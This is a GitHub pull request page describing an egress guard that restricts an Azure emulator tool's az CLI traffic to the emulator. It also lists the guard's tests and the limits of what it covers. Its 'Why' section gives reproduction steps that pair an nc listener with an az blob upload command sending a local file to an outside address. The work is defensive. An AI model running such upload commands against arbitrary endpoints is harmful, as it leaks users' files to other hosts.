Repository navigation
Conversation
Contributor
Author
|
@HarshCasper this is follow-up 1 from our plan, the egress guard. Every az run now goes through a local proxy that only reaches the emulator, so an endpoint in a command (--blob-endpoint, a connection string) can't send data elsewhere. Reproduction steps are in the description. Ready for review when you have time. |
DrisDary
marked this pull request as ready for review
October 13, 2026 11:49
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
What
Every
azrun now goes through an egress guard: a proxy on127.0.0.1that the Azure tool starts for that run and pointsHTTPS_PROXYandHTTP_PROXYat.localhost.localstack.cloudand every name under it,localhost,127.0.0.1,::1), and only on the emulator's ports (LOCALSTACK_PORT, 443 and the external-service range). It maps those names to loopback itself.azure.localhost.localstack.cloud.azreaches it through the guard, so routers that block LocalStack's DNS answers no longer matter.docs/AZURE.mdnow covers whatazcan reach, and what the guard does not cover.Why
A command can name any endpoint, and
azsends it the file the command reads:nc -l 192.168.1.20 8080.storage blob upload --blob-endpoint http://192.168.1.20:8080 --account-name acct --account-key <any base64> -f <a local file> -c c -n n.txt.main, the listener receives the file and the tool reports success. With the guard, the command fails with "blocked by the egress guard", the answer names192.168.1.20, and the listener receives nothing.A connection string with a
BlobEndpointbehaves the same way. Anhttpsendpoint is refused too, but az's SDK retries the refused tunnel for about a minute and a half before it gives up.Not covered
The guard covers what honours
HTTPS_PROXYandHTTP_PROXY:azitself, the Azure SDKs and MSAL, and Bicep. It does not cover programs that open connections of their own, such as:az acr login;flexible-server connect.Tests
egress-guard.test.ts, with real sockets:close()ends open tunnels.services.test.ts: each run gets a guard of its own, closed afterwards, and its refusals come back with the result.output.test.ts: the answer names the refused hosts on a failure or a timeout, and not on a success.azure-smoke.ymlhas a new step: an endpoint outside the emulator is refused.